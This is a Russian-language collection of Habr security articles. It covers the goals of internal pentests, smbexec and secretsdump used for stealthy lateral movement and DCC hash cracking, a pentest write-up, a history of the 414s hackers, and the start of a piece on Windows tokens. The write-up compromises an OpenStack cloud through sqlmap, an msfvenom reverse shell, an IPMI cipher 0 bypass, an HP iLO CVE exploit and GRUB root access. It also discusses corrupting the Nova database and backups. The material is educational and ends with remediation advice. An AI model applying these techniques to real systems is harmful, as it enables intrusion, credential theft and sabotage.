При этом пентест это не бесцельное блуждание по чужой инфраструктуре. У белого хакера всегда есть цель, поставленная заказчиком. Самым распространённым сценарием для внутреннего тестирования на проникновение является получение привилегий доменного администратора. Хотя в реальности злоумышленники редко стремятся получить такие привилегии, так как это может привлечь к ним ненужное внимание. Поэтому в большинстве случаев привилегии доменного администратора будут скорее не целью, а средством ее достижения. А целью может стать, например, захват корпоративной сети, получение доступа к рабочей станции и серверу или к приложению и базе данных.

Кому все это нужно


А стоит ли вообще заказчику пускать пентестеров в свою корпоративную сеть? Однозначно, стоит. Именно здесь находятся самые критичные данные и главные секреты компании. Чтобы защитить ЛВС, необходимо знать все ее закоулки и недостатки. И внутреннее тестирование на проникновение может в этом помочь. Оно позволяет увидеть слабые места в инфраструктуре или проверить настроенные контроли безопасности и улучшить их. Кроме того, внутренний пентест это более доступная альтернатива Red Team. Ну, если есть задача продемонстрировать руководству, что выделяемых средств недостаточно для обеспечения безопасности внутренней инфраструктуры, внутренний пентест позволяет подкрепить этот тезис фактами.

Автор: Дмитрий Неверов, эксперт по анализу защищенности, Ростелеком-Солар
Подробнее..

Перевод Скрытый взлом паролей с помощью Smbexec

12.08.2020 18:08:51 | Автор: admin


Мы регулярно пишем о том, как хакеры часто опираются на использование методов взлома без вредоносного кода, чтобы избежать обнаружения. Они буквально выживают на подножном корму, используя стандартные средства Windows, тем самым обходя антивирусы и другие утилиты выявления вредоносной активности. Мы, как защитники, теперь вынуждены иметь дело с печальными последствиями таких хитрых техник взлома: удачно расположенный сотрудник может использовать тот же подход для скрытой кражи данных (интеллектуальная собственность компании, номера кредиток). И если он не будет торопиться, а работать медленно и незаметно, будет чрезвычайно сложно но все же возможно, если применять правильный подход и соответствующие инструменты, выявить такую активность.

С другой стороны, мне бы не хотелось демонизировать сотрудников, так как никто не хочет работать в бизнес-среде прямиком из 1984 Оруэлла. К счастью, существуют ряд практичных шагов и лайфхаков, которое могут значительно усложнить жизнь инсайдерам. Мы рассмотрим скрытные методы атаки, используемые хакерами сотрудниками с некоторым техническим бэкграундом. А чуть дальше мы обсудим варианты сокращения таких рисков изучим как технический, так и организационный вариант действий.

Что плохого в PsExec?


Эдвард Сноуден, справедливо или нет, стал синонимом инсайдерской кражи данных. Кстати говоря, не забудьте взглянуть на эту заметку о других инсайдерах, также заслуживающих некоторого статуса известности. Стоит подчеркнуть один важный момент о методах, которые использовал Сноуден, насколько нам известно, он не устанавливал никакого внешнего вредоносного софта!

Наоборот, Сноуден применил немного социальной инженерии и воспользовался своим должностным положением системного администратора для сбора паролей и создания учётных данных. Ничего сложного никаких mimikatz, атак man-in-the-middle или metasploit.

Сотрудники организаций не всегда находятся в уникальной позиции Сноудена, но из концепции выживания на подножном корму можно извлечь ряд уроков, о которых следует знать не производить никаких вредоносных действий, которые можно обнаружить, и особенно аккуратно использовать учётные данные. Запомните эту мысль.

Psexec и его двоюродный брат crackmapexec произвели впечатление на бесчисленное множество пентестеров, хакеров и блогеров по информационной безопасности. А в комбинации с mimikatz, psexec позволяет атакующим перемещаться внутри сети без необходимости знать пароль в открытом виде.

Mimikatz перехватывает NTLM- хэш у процесса LSASS, а затем передаёт токен или учётные данные т.н. pass the hash атака в psexec, позволяя злоумышленнику войти на другой сервер от лица другого пользователя. И с каждым последующим перемещением на новый сервер, атакующий собирает дополнительные учётные данные, расширяя спектр своих возможностей в поиске доступного контента.
Когда я впервые начал работать с psexec, он показался мне просто магическим спасибо Марку Руссиновичу, гениальному разработчику psexec, но я также знаю и о его шумных компонентах. Он ни разу не скрытный!

Первый интересный факт о psexec заключается в том, что он использует чрезвычайно сложный сетевой файловый протокол SMB от Microsoft. С помощью SMB psexec передаёт небольшие бинарные файлы на целевую систему, помещая их в папку C:\Windows.
Далее psexec создаёт Windows-службу с помощью скопированного бинарника и запускает её под крайне неожиданным именем PSEXECSVC. При этом вы можете реально увидеть всё это, как и я, наблюдая за удалённой машиной (см. ниже).


Визитная карточка Psexec: служба PSEXECSVC. Она запускает бинарный файл, который был помещён по SMB в папку C:\Windows.


В качестве финальной стадии, скопированный бинарный файл открывает RPC-подключение к целевому серверу и затем принимает управляющие команды (по умолчанию через cmd-шелл Windows), запуская их и перенаправляя ввод и вывод на домашнюю машину атакующего. При этом злоумышленник видит базовую командную строку такую же, как если бы он был подключён напрямую.
Множество компонентов и очень шумный процесс!
Сложный механизм внутренних процессов psexec объясняет сообщение, которое озадачило меня во время моих первых тестов несколько лет назад: Starting PSEXECSVC и последующую паузу перед появлением командной строки.


Psexec от Impacket в действительности показывает, что происходит под капотом.


Не удивительно: psexec проделывал огромное количество работы под капотом. Если вас интересует более подробное объяснение, ознакомьтесь вот с этим замечательным описанием.
Очевидно, что при использовании в качестве инструмента системного администрирования, что и являлось изначальным предназначением psexec, ничего страшного в жужжании всех этих механизмов Windows нет. Для атакующего, однако, psexec создаст осложнения, и для осторожного и хитрого инсайдера, такого как Сноуден, psexec или похожая утилита будет слишком большим риском.

И тут приходит Smbexec


SMB это искусный и скрытный способ передачи файлов между серверами, и хакеры внедрялись напрямую в SMB ещё испокон веков. Полагаю, что все уже знают, что не стоит открывать SMB порты 445 и 139 в интернет, не так ли?

В 2013 году на Defcon Эрик Милман (brav0hax) представил в свет smbexec, чтобы пентестеры могли опробовать скрытный взлом SMB. Я не знаю всей истории, но затем Impacket дополнительно отточил smbexec. На самом деле, для своего тестирования я скачал именно скрипты от Impacket на питоне с Github.

В отличие от psexec, smbexec избегает передачи потенциально детектируемого бинарного файла на целевую машину. Вместо этого утилита полностью живёт с подножного корма через запуск локальной командной строки Windows.
Вот что она делает: передаёт команду от атакующей машины через SMB в специальный входящий файл, а затем создаёт и запускает сложную командную строку (как служба Windows), которая покажется знакомой линуксоидам. Вкратце: она запускает нативный Windows-шелл cmd, перенаправляет вывод в другой файл и затем отправляет его по SMB обратно на машину злоумышленника.
Лучшим способом понять это будет изучение командной строки, которую я смог заполучить из журнала событий (см. ниже).


Не это ли величайший способ перенаправления ввода/вывода? Кстати говоря, создание службы имеет идентификатор события 7045.


Как и psexec, она также создаёт службу, которая выполняет всю работу, но служба после этого удаляется она используется только один раз для запуска команды и потом пропадает! Сотрудник информационной безопасности, наблюдающий за машиной жертвы, не сможет обнаружить очевидных индикаторов атаки: нет никакого вредоносного запускаемого файла, никакой постоянной службы не устанавливается, и нет доказательства использования RPC, так как SMB является единственным средством передачи данных. Гениально!

Со стороны атакующего при этом доступен псевдо-шелл с задержками между отправкой команды и получением ответа. Но этого вполне достаточно для работы злоумышленника либо инсайдера, либо внешнего хакера, у которого уже есть плацдарм, чтобы начать искать интересный контент.



Для вывода данных обратно с целевой машины на машину злоумышленника, используется smbclient. Да, это та же самая Samba утилита, но только переделанная под Python-скрипт Impacketом. Фактически, smbclient позволяет вам скрытно организовать передачу FTP поверх SMB.

Давайте сделаем шаг назад и подумаем над тем, что это может дать для сотрудника. В моём вымышленном сценарии, скажем, блогеру, финансовому аналитику или высокооплачиваемому консультанту по безопасности разрешено использовать личный ноутбук для работы. В результате некоего магического процесса, она обижается на компанию и пускается во все тяжкие. В зависимости от операционной системы ноутбука, она либо использует Python версию от Impact, либо Windows версию smbexec или smbclient в виде .exe файла.
Как и Сноуден, она узнаёт пароль другого пользователя либо подглядев его через плечо, либо ей везёт, и она натыкается на текстовый файл с паролем. И с помощью этих учётных данных она начинает копаться вокруг системы на новом уровне привилегий.

Взлом DCC: нам не нужен никакой дурацкий Mimikatz


В моим предыдущих постах, посвящённых пентесту, я очень часто использовал mimikatz. Это замечательный инструмент для перехвата учётных данных NTLM-хэшей и даже паролей в открытом виде, затаившихся внутри ноутбуков и так и ждущих, чтобы ими воспользовались.
Времена изменились. Инструменты мониторинга стали лучше в детектировании и блокировке mimikatz. Администраторы информационной безопасности также стали обладать большим числом опций по сокращению рисков, связанных с атаками pass the hash-типа (далее PtH).
Так что же должен сделать умный сотрудник, чтобы собрать дополнительные учётные данные без использования mimikatz?

В набор от Impacket входит утилита под названием secretsdump, которая извлекает учётные данные из кэша Domain Credential Cache, или кратко DCC. Насколько я понимаю, если доменный пользователь входит на сервер, но контроллер домена при этом недоступен, DCC позволяет серверу аутентифицировать пользователя. Так или иначе, secretsdump позволяет вам сдампить все эти хэши, если они доступны.
DCC-хэши это не NTML-хэши и их нельзя использовать для PtH-атаки.

Ну, вы можете попытаться взломать их, чтобы получить исходный пароль. Однако Microsoft стала умнее при работе с DCC и взломать DCC-хэши стало чрезвыйчайно сложно. Да, есть hashcat, самый быстрый в мире подборщик паролей, но он требует наличия GPU для эффективной работы.
Вместо этого давайте попробуем размышлять как Сноуден. Сотрудник может провести очную социальную инженерию и, возможно, узнать какую-либо информацию о человеке, пароль которого она хочет взломать. Например, узнать, взламывался ли когда-либо онлайн-аккаунт этого человека и изучить его пароль в открытом виде на наличие каких-либо подсказок.
И это тот сценарий, по которому я решил пойти. Давайте предположим, что инсайдер узнал, что его руководитель, Круэлла, несколько раз была взломана на разных веб-ресурсах. После анализа нескольких из этих паролей, он осознаёт, что Круэлла предпочитает использовать формат названия бейсбольной команды Yankees и идущим за ним текущим годом Yankees2015.

Если вы сейчас пытаетесь воспроизвести это у себя в домашних условиях, то вы можете скачать небольшой, C код, реализующий алгоритм хэширования DCC, и скомпилировать его. John the Ripper, кстати говоря, добавил поддержку DCC, поэтому его тоже можно использовать. Давайте предположим, что инсайдер не хочет связываться с изучением John the Ripper и любит запускать gcc на устаревшем C-коде.
Изображая роль инсайдера, я запустил несколько разных комбинаций и в конце концов смог обнаружить, что пароль Круэллы Yankees2019 (см. ниже). Миссия выполнена!


Немного социальной инженерии, толику гадания и щепотку Maltego и вы уже на пути взлома хэша DCC.



Предлагаю на этом закончить. Мы ещё вернёмся к этому вопросу в других публикациях и рассмотрим ещё больше медленных и скрытных методов атаки, продолжая опираться на великолепный набор утилит от Impacket.
Подробнее..

Из песочницы Как плохо настроенная БД позволила захватить целое облако с 25 тысячами хостов

22.09.2020 12:22:19 | Автор: admin
Привет, Хабр!

Я не так давно в ИТ, но в последнее время увлёкся темой кибербезопасности. Особенно интересна профессия пентестера. Во время сёрфинга увидел классную статью How a badly configured DB allowed us to own an entire cloud of over 25K hosts от Security Shenanigans. Перевод обеих частей и предлагаю вашему вниманию.

Введение


Из этой статьи вы узнаете, как нам удалось выполнить прямое соединение sqlmap с базой данных с использованием BMC/IPMI для компрометации крупного клиента.

Предыстория


Пару лет назад наша команда получила задание: провести пентест инфраструктуры в сети Openstack.Он состоял из примерно 2000 физических серверов, на которых размещалось более 25 тысяч виртуальных машин. Работу мы начали в небольшой подсети, в которой было ограничение на объём исходящего трафика. После быстрого сканирования Nmap не удалось найти очевидные уязвимости, которыми можно было бы воспользоваться. Поэтому мы начали изучать доступные нам сервисы. Среди них мы обнаружили беззащитный сервер PostgreSQL, размещенный на сервере разработки.После создания настраиваемого списка слов с несколькими производными названия компании нам удалось пробраться в систему, используя относительно простые данные от учётной записи. Имя пользователя было Postgres, а пароль, допустим, admin.

Далее мы решили задействовать sqlmap. Этот инструмент был создан для использования SQL-инъекций, но он также может предоставить вам несколько вариантов при установке прямого подключения к базе данных (когда у вас есть данные учётки).Один из этих вариантов запуск командной оболочки для эксплуатируемой базы данных.



После тестирования шелла мы решили собрать нестандартный пэйлоад (полезную нагрузку), чтобы получить обратное подключение. Это позволило бы работать с большим комфортом.

Сборку пэйлоада мы выполняли с помощью msfvenom. Полезной нагрузкой в этом случае был обратный TCP-шелл для машины с Linux x64. На предыдущем изображении видно, что нам нужно было выбрать архитектуру БД.


Собираем полезную нагрузку с помощью msfvenom

Преимущество этого пэйлоада заключается в том, что с его помощью можно получить обратное подключение с помощью простого Netcat. Для большинства других полезных нагрузок требуется что-то вроде Metasploit (выбирать хэндлер exploit/multi/handler) для тех же самых задач.

После запуска полезной нагрузки с оболочкой sqlmap мы получили наше соединение с сервером.


Запуск пэйлоада


Получение обратного подключения и тестирование доступа

Использование BMC-устройств


Всякий раз, когда вы выполняете пентест инфраструктуры и компрометируете машину в новом сегменте сети, вам следует повторно выполнить сканирование, чтобы проверить, не появилось ли чего-нибудь нового. Эта БД позволила нам подключиться к облачной сети компании, включая большинство виртуальных машин и хостов. Мы очень обрадовались результатам нового сканирования, поскольку обнаружили несколько устройств BMC.


Одно из трёх BMC-устройств

BMC (Baseboard Management Controller, сервисный процессор) это преимущественное встроенное устройство, подключенное к основному серверу, которое обеспечивает внеполосный мониторинг и контроль. Работает независимо от центрального процессора, BIOS и операционной системы. Ошибки, возникающие в любом из этих элементов, не способны повлиять на его работу. Микроконтроллер имеет собственный процессор, память, сетевой интерфейс, поэтому доступен, даже если сам сервер выключен. Все крупные поставщики оборудования имеют специальные BMC для своих продуктов:

  • Dell DRAC
  • IBM IMM
  • HP iLO
  • Supermicro IPMI


Еще один термин, с которым вам необходимо ознакомиться, IPMI (Intelligent Platform Management Interface, интерфейс интеллектуального управления платформой), в основном представляет собой протокол, который вы используете для связи с этими устройствами. Его назначение мониторинг и управление железом сервера, независимо от операционной системы, даже в тех случаях, когда сервер выключен, но подключен к источнику питания.

Скажем так, IPMI на сегодняшний день является одним из самых небезопасных протоколов, которые вы можете найти. Чтобы дать вам представление, IPMI 2.0 разработан таким образом, что вы можете напрямую запрашивать пользовательский хэш с сервера на этапе аутентификации. Существует и другая уязвимость, когда вы запрашиваете авторизацию в режиме cipher 0, который позволит вам войти в систему с любым паролем.


Архитектура блока IPMI

BMC-устройства, которые вы можете обнаружить, Обычно слабо защищены, так как это тип укстройств, которые настраиваются один раз, на этапе сборки центра обработки данных, а затем используете лишь в тех случаях, когда сервер недоступен обычными средствами.

Мы смогли легко пройти аутентификацию на некоторых устройствах, на которых был включен cipher 0.


Здесь вы можете увидеть, как мы вошли в систему со случайным паролем. Обратите внимание на часть -C 0.


Успешный вход в устройство со случайным паролем


Информация о сети для устройства

Даже если на некоторых устройствах не включен cipher 0, у вас всё равно остаются другие способы входа в систему.Двумя наиболее известными являются либо использование учетных данных по умолчанию (которые системные администраторы обычно не пытаются изменить), либо использование уязвимости раскрытия хэшей (и последующий взлом хешей).Последнее пришлось сделать для большинства устройств.


Банальные пары логин/пароль по умолчанию для большинства пользователей


Список слов, содержащий хэши пользователей, которые мы запрашиваем у сервера


Раскрытие пользовательских хэшей с помощью metasploit


Сразу получаем данные о типовых хэшах

Перебрав все хеши, мы начали их взламывать.


Взлом первых хешей

Через пару минут мы получили доступ примерно к 600 BMC.


609 хэшей успешно взломаны

Была пара устройств HP ILO, которые мы не смогли взломать.К счастью для нас, в HP iLO 4, начиная с версий 1.00 до 2.50, также есть обход аутентификации.Это позволяет вам создать учетную запись администратора через переполнение буфера в HTTP-заголовке подключения, обрабатываемое веб-сервером.Эксплойт использует это для получения привилегированного доступа к остальному API, который, в свою очередь, даёт вам права на создание учётных записей.


Использование CVE-201712542

После этих шагов мы получили полный контроль над 90% BMC-устройств компании. Если вы читали об устройствах BMC, то теперь знаете, что они позволяют:

  • Мониторить
  • Перезагружать
  • Переустанавливать
  • KVM (виртуализировать)


подключённые устройства. Это здорово и всё такое, но они только имитируют физический доступ к серверу, вам всё равно нужно попасть внутрь. Да, вы можете похулиганить, выключив устройства, но мы думали, что этого недостаточно, поэтому продолжали копать.

Один из наиболее распространенных способов взлома оборудования, имеющего физический адрес, это его перезагрузка и управление автозапуском для рут шелла. Вы можете сделать это в Unix, Mac и Windows.

Трудность этого подхода заключается в том, что на каждом сервере обычно размещается около 2000 виртуальных хостов. Итак, нам нужно было найти неиспользуемый сервер. План состоял в том, чтобы выключить его (или только запустить, если он уже был отключен) и отредактировать автозапуск, чтобы предоставить нам root-доступ. После этого мы хотели взглянуть на конфигурацию, чтобы найти какие-либо ошибки/полезные данные, которые позволили бы нам скомпрометировать и другие серверы.

Openstack позволяет запрашивать локальную инфраструктуру и запрашивать определенные параметры. Одним из них является состояние виртуальной машины, которое в случае этой локальной компании было определено как доступность ВМ (белый/чёрный список для приёма трафика) + рабочее состояние (запущена/отключена).

Нам нужно было найти сервер из чёрного списка (рабочее состояние не имело значения), и мы нашли один не работающий из-за проблем с диском. К счастью, нам удалось загрузиться, но некоторые части файловой системы оказались в режиме только для чтения.


Запрос openstack о подходящем сервере для взлома

Как только мы его нашли, то вошли в систему по найденными ранее учётными данными.


Используем доступы, полученные ранее


Доступ к интерфейсу KVM

Интерфейс KVM имитирует прямое подключение к серверу через BMC.При загрузке вам нужно отредактировать автозагрузку Grub и добавить ro init = / bin / bash в соответствующую строку, чтобы загрузиться в рут-шелл.Обычно используется флаг чтения и записи (rw), но нам пришлось использовать флаг только для чтения (ro), чтобы предотвратить любые проблемы с неисправным диском.


Редактирование меню grub

После входа в систему мы изучили сетевые интерфейсы для проверки возможности подключения к серверу.Как видите, ifconfig показывает более 10 активных интерфейсов.



Потратив некоторое время на то, чтобы проанализировать структуру сети и понять, где мы находимся, мы начали изучать сервер.

Через пару минут мы нашли золотую середину с помощью bash_history (один из лучших источников ценнейшей информации, который вы можете найти на Linux-машине)


Учетные данные novadb в bash_history

Для тех, кто не знаком с архитектурой Openstack, Nova это управляющая БД, в которой хранится административная информация для всего облака, такая как сертификаты, квоты, имена экземпляров, метаданные и много другой важной информации.


Проверка учетных данных

После входа в систему мы проверили админский доступ, используя grants_MySQL.



Сделав это, мы можем посмотреть внутреннюю структуру NovaDB.


Таблицы в базе данных Novadb

Просматривая информацию о ВМ, мы могли увидеть около 34 тысяч устройств.Однако примерно треть из них была недоступна/не работала. Точное количество можно увидеть в строке запись float_ips.



Позвольте мне объяснить, почему эти данные из базы данных так важны.

Если вы хотите остановить работу всей компании, вы можете выключить каждый виртуальный сервер через интерфейс BMC. Они не будут работать, пока системные администраторы не включат всё обратно.

Вы можете написать собственное вредоносное ПО для заражения всех серверов, но массовое развертывание по каналам BMC непросто (помните, что нам нужно было запустить неиспользуемый сервер, чтобы отредактировать автозапуск Grub, прежде чем получить к нему доступ).

Однако с доступом к NovaDB вы можете просто повредить базу данных, и вся облачная среда перестанет работать.Даже если предположить, что системный администратор был достаточно сообразителен, чтобы немедленно взглянуть на БД, гораздо сложнее устранить неисправность поврежденной базы данных, чем отсутствующей.

А ещё системный администратор может понять, что что-то не так, и просто перезаписать всё с помощью самой последней резервной копии, верно?Мы тоже подумали об этом.Вот почему мы пошли дальше и скомпрометировали резервные копии.

Сначала мы попытались запросить основную базу данных с помощью чего-то вроде
SELECT * FROM information_schema.PROCESSLIST AS p WHERE p.COMMAND = 'Binlog Dump'; , но компания использовала собственное решение для резервного копирования, которое выполнялось нерегулярно и без использования схемы ведущий ведомый (master/slave).Поэтому мы продолжили сканирование соседних подсетей, просто чтобы найти базы данных резервного копирования, работающие на том же порту, что и главная.


Как нам удалось найти резервные копии

Мы проверили возможность использования имевшихся учётных данных и, конечно же, они подошли.


Проверка доступа к резервной копии

Имея собственные резервные копии, мы смогли доказать полную компрометацию инфраструктуры виртуализации, а также способ окончательного завершения операций за несколько минут.

Я всегда люблю заканчивать рецензию/отчет написанием возможных исправлений найденных проблем.При этом их было много, например:

  • Повторное использование учетных данных
  • Отсутствует сегментация сети
  • Банальнейшие пароли
  • Небезопасная структура резервного копирования
  • Устаревшая прошивка

Одним из критических моментов, который было нелегко исправить, были недостатки протокола IPMI.

Наиболее удачным решением будет размещение серверов с поддержкой BMC в другом сегменте сети с ограниченным и контролируемым списком IP-адресов. Вот так в итоге и поступила эта компания.

Я надеюсь, что вам понравилось наша история. Так же, как и нам было весело изучать эту тему.
Подробнее..

Перевод История группы 414 подростков из Милуоки, которые стали пионерами взлома

10.12.2020 18:18:39 | Автор: admin
В 1983 году группа молодых людей из Милуоки прославилась взломом нескольких высококлассных компьютерных систем, включая Национальную лабораторию Лос-Аламоса и Мемориальный онкологический центр им. Слоуна Кеттеринга. Сегодня, в день старта нового потока курса Этичный хакер делюсь с вами их историей.

В 1983 году в технотриллере WarGames Дэвид Лайтман, которого играет тогда ещё молодой Мэтью Бродерик, сидит в своей спальне, погружаясь в компьютер квадратной формы с 8-битным процессором Intel. Когда текст пробегает по экрану, лицо Дэвида светится; он думает, что взломал компанию по производству видеоигр, но на самом деле подросток имеет дело с военным суперкомпьютером.Поиграем в игру? зловеще спрашивает компьютер. В развязке фильма был спровоцирован обратный отсчёт до Третьей мировой войны.

В том же году, когда этот фильм вышел на экраны, группа подростков и молодых людей из Милуоки играла в свою игру. Как и персонаж Бродерика, эти пригородные учёные-технологи, получившие название 414, в поиске новых игр взломали большие сетевые компьютерные системы, используемые известными организациями. И точно так же то, что начиналось как безобидное веселье, имело очень ощутимые последствия. В конце концов группа была поймана ФБР за взлом около дюжины правительственных и промышленных систем. Среди них были Мемориальный онкологический центр Слоана Кеттеринга и Лос-Аламосская национальная лаборатория исследовательский центр ядерного оружия, на котором производились атомные бомбы, применявшиеся во время Второй мировой войны.


Для большей части американской публики фильм Мэтью Бродерика/Элли Шиди WarGames 1983 года и выходки 414-х стали их первым знакомством с идеей хакеров.


Хотя выходки 414 не разожгли ядерный конфликт, они спровоцировали дискуссии национального масштаба о компьютерной безопасности задолго до того, как кибервойна засветилась в заголовках, а современные хакеры, такие как Джулиан Ассанж, стали общеизвестными персонами. Кроме того, подогреваемый группой ажиотаж в СМИ предупредил американских законодателей, что для борьбы с компьютерными преступлениями необходимы новые законы.

Группа поможет ознакомить нацию с возможностями и проблемами, такими как халатное отношение к безопасности, которые возникают с включением компьютеров в сеть. После разоблачения группы её члена Нила Патрика спросили на шоу Today канала NBC, не жалеет ли он о чём-то.Оглядываясь назад, я бы очень хотел, чтобы доступ к этим системам был не таким простым, ответил он.

Ловкие дети


В начале 1980-х годов наступила эра компьютерной культуры. Первый персональный компьютер IBM появился в 1981 году, принеся в массы термин персональный компьютер. В следующем году был представлен Commodore 64; позже эта модель станет самой продаваемой моделью всех времён. К 1983 году как фанатам техники, так и более осторожным её владельцам понравились возможности ПК. В том же году The New York Times перешла на цифровой формат с помощью первого компьютера в отделе новостей.

Однако по сегодняшним меркам этим простым машинам еще предстоит пройти долгий путь. Одна из самых важных вещей здесь то, насколько рано в технологической эпохе всё произошло, рассказывает Алан Дж. Борсук, который в то время был репортёром в The Milwaukee Journal и освещал новости о 414. Всё произошло до того, как стали широко известными понятия Интернета, электронной почты или чего-то в этом роде. Всё действительно было очень примитивно и только начиналось.

Но для многих первые протокомпьютеры были порталом на неизведанную территорию. Тим Уинслоу, ставший одним из группы 414, открыл в себе талант в середине 1970-х, когда учился в младших классах средней школы. Его учитель математики привез примитивный компьютер, чтобы проверить решение каких-то задач. Называемое телетайпом устройство по сути представляло собой механическую печатную машинку, которая отображала текст на стеклянном экране. В сочетании с акустически подключенным модемом, который передавал сигналы через телефонную сеть, система могла отправлять и получать напечатанные сообщения.


В то время персональные компьютеры, такие как Commodore 64, только обретали популярность.

У Уинслоу не было возможности протестировать компьютер во время занятий. Но он остался в школе после занятий той ночью, чтобы попробовать самому. Как только его учитель подключился к сети и запустил программу по математике, Уинслоу зацепило. Я влюбился в попытки учиться и творить с помощью этой новой технологии, рассказывает он.

Уинслоу обнаружил, что он не единственный, кто тяготел к этим ранним компьютерам. В средней школе он присоединился к программе Explorer Scout, ориентированной на вычисления и технологии и спонсируемой IBM, где он познакомился с большинством будущих хакеров. Члены группы встретились сразу после школы в центре Милуоки, чтобы вместе программировать.

Со временем многие из них стали друзьями и в конце концов они решили, что их группе нужно имя. В 1980-х годах банды в Милуоки называли себя названиями улиц, по которым они бегали, примером была группа 27, которая действовала на 27-й улице, это были номера, вырезанные на столиках для пикников, где хакеры иногда встречались за ужином. Территорией группы был Милуоки, поэтому в качестве названия они взяли себе местный телефонный код 414.

Начало игры



Тим Уинслоу был среди тех членов группы, у кого брали интервью для документального фильма The 414s: The Original Teen Hackers, премьера которого состоялась на кинофестивале Санденс в 2015 году.

По крайней мере в течение года 414 использовали свои домашние компьютеры и телефонные модемы для подключения к большим компьютерным системам по всей стране. Используя элементарные пароли и информацию для входа в систему, написанные в руководствах по эксплуатации различных компьютерных систем, которые никогда не обновлялись и не менялись, они смогли проникнуть в крупные сети. Например, рассказывает Уинслоу, логин и пароль для одной из систем были соответственно system и system.

Войти в них было так легко потому, что люди не читали их собственные руководства, говорит он.

Банда считала себя исследователями, использующими любопытство, чтобы узнать больше о том, как работают системы. В основном 414-е хотели заполучить компьютерные игры. Однако на протяжении 1983 года деятельность группы становилась всё более смелой. Однажды они взломали Security Pacific National Bank в Лос-Анджелесе с миллиардами долларов в активах. Той весной 414 проникли в компьютер Национальной лаборатории Лос-Аламоса.

К июню банда обнаружила себя. Подвиги 414 были раскрыты, когда они взломали Memorial Sloan Kettering и случайно удалили выписки пациентов. Об этом сообщил администратор Memorial Sloan Kettering, который затем связался с ФБР, которое, в свою очередь, отследило группу до Милуоки по входящим телефонным звонкам.

Чтобы получить больше доказательств, они фактически вышли из наших домов и установили устройства для слежки [на] наши телефонные линии, рассказывает Уинслоу. Вскоре после этого несколько членов 414, включая Уинслоу, которому тогда было 20 лет, Джеральда Вондра (21 год) и 17-летнего Патрика, встретили на пороге агентов ФБР в костюмах и галстуках.

Накануне вечером я поздно лёг спать; моя мама спустилась и разбудила меня, рассказывает Уинслоу, который поднялся наверх и обнаружил агентов, сидящих за кухонным столом. Они [сказали]: Мы хотели бы поговорить с вами о том, что вы делали с помощью компьютера в течение последних нескольких месяцев.

Скрытое наследие


Уинслоу, Вондра и еще один член группы были обвинены федеральным правительством и столкнулись с возможностью тюремного заключения. Но, поскольку Патрик был несовершеннолетним, ему не грозило судебное преследование.


Нил Патрик стал лицом 414-х, даже давая показания перед Конгрессом.

Пока его сверстники заключили сделки о признании вины, Патрик объехал средства массовой информации, появившись на шоу Фила Донахью и канала CBS Morning News. Его лицо попало на обложку Newsweek. Он даже свидетельствовал об угрозах, связанных с компьютерной безопасностью, перед Конгрессом в Вашингтоне (округ Колумбия), где щелчки камер были настолько громкими, что иногда заглушали говорящих. В какой-то момент Патрика спросили, когда он впервые задумался об этической уместности того, что делал.

Однажды в мою дверь постучали агенты ФБР, ответил он.

Поскольку в то время не существовало законов против хакерства, взрослым членам банды 414 были предъявлены обвинения в домогательствах по телефону. Правонарушение каралось двумя годами испытательного срока и штрафом в 500 долларов; в конце концов обвинения были сняты.

Почти четыре десятилетия спустя наследие 414 продолжает жить, хотя, возможно, не самым очевидным образом. Майкл Воллманн, режиссер документального фильма The 414s: The Original Teen Hackers, рассказывает, что его изначально привлекла история группы, потому что в то время она была омрачена такими фильмами, как WarGames. [Но] из-за этого случилось ещё несколько вещей, продолжает он. Например, тот факт, что Нил Патрик пришёл и дал показания перед Конгрессом, рассказывая о своём опыте. В результате подвигов банды и последовавшего за ними цирка в СМИ в Палату представителей были внесены шесть законопроектов, касающихся различных аспектов компьютерных преступлений.



Морган Райт, эксперт по кибербезопасности, отмечает, как далеко зашла эта область с тех пор. Мы прошли долгий путь [от] любопытства детей, которые просто посмотрели на всё это и сказали: Эй, давай попробуем пароли, говорит он. Это действительно была единственная защита; [не было] ни двухфакторной аутентификации, ни токенов безопасности, ни цифровых сертификатов. Всё это появилось позже, и это произошло в тот момент, когда мы больше не могли доверять людям, имеющим только имя пользователя и пароль, потому что их было слишком легко взломать. Райт подводит итог: история группы 414 стала переломным моментом, обнаружившим уязвимости компьютерной безопасности.

Если это так, то 414 были единственными людьми, проникшими в лабораторию Лос-Аламоса, когда она были очень плохо защищена, добавляет эксперт по кибербезопасности Джозеф Стейнберг, [тогда] они оказали нам большую услугу.

Таким образом, группу 414 можно назвать не только пионерами взлома, но и первыми пентестерами. Если в 80х число потенциальных объектов для взлома было невелико, то сейчас количество IT-систем и цифровизированных объектов (в том числе и стратегического назначения) увеличивается с каждым годом. И все они нуждаются в проверке на прочность. Из этого следует, что специалисты-пентестеры, проверяющие защищённость таких систем будут пользоваться стабильным спросом на рынке труда.

image

Как обычно, промокод HABR добавит 10% к скидке на обучение, отраженной на баннере.


Подробнее..

Windows Tokens

15.12.2020 16:09:41 | Автор: admin

Эксперт OTUS Александр Колесников поделился с нами полезной статьёй, которую написал специально для студентов курса "Пентест. Практика тестирования на проникновение".

Мы же в свою очередь приглашаем всех желающих принять участие в бесплатном демо-уроке на тему: "Windows AD сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5ти лет."

Предыдущая статья рассказывала о том, как эксплойты используют технику копирования токена для повышения привилегий. В этой статье мы попытаемся рассмотреть еще одну технику модификациитокенов, а также постараемся узнать, как задаются привилегии, которые помещаются в Primary Token.

Все примеры в статье имеют ознакомительный характер, и если вы захотите повторить эксперименты, то используйте виртуальную машину, так как некоторые из действий могут вывести вашу рабочую машину из строя. Все эксперименты выполняются только для исследовательских задач.

Настройка тестового стенда

Для экспериментов подойдет пара виртуальных машин, которые работают по NAT сети. Две потому что нет другого способа проводить ядерную отладку операционной системы. А NAT сеть, чтобы были отладочные символы, с ними проще и быстрее искать данные без исходного кода. Настройка отладчика есть на просторах сети, но все же ниже будет пару строк как это делается для операционной системы Windows 10 1909.

1. Устанавливаем отладчик. Для операционной системы Windows есть только Windbg Preview, установим его:

2. Переводим целевую операционную систему в отладочный режим:

Перезагружаем систему. И открываем вторую машину, которая будет содержать отладчик:

После перезагрузки системы:

Так как это Windbg Preview все настройки по загрузке и хранению отладочных символов, были выполнены автоматически. Нам остается только дождаться когда они будут полностью загружены. После этого начинаем наше исследование.

Token

Официальная документация гласит, что основные данные, которые существуют в операционной системе касательно привилегий пользователя хранятся в специальной структуре, которая называется Primary Token. В прошлой статье мы не останавливались подробно на части, которая описывается Se* привилегиями. Наиболее интересные привилегии, которые могут быть использованы для эскалации привилегий, вывода из строя ОС:

  • SeAssignPrimaryToken

  • SeAudit

  • SeBackup

  • SeChangeNotify

  • SeCreateToken

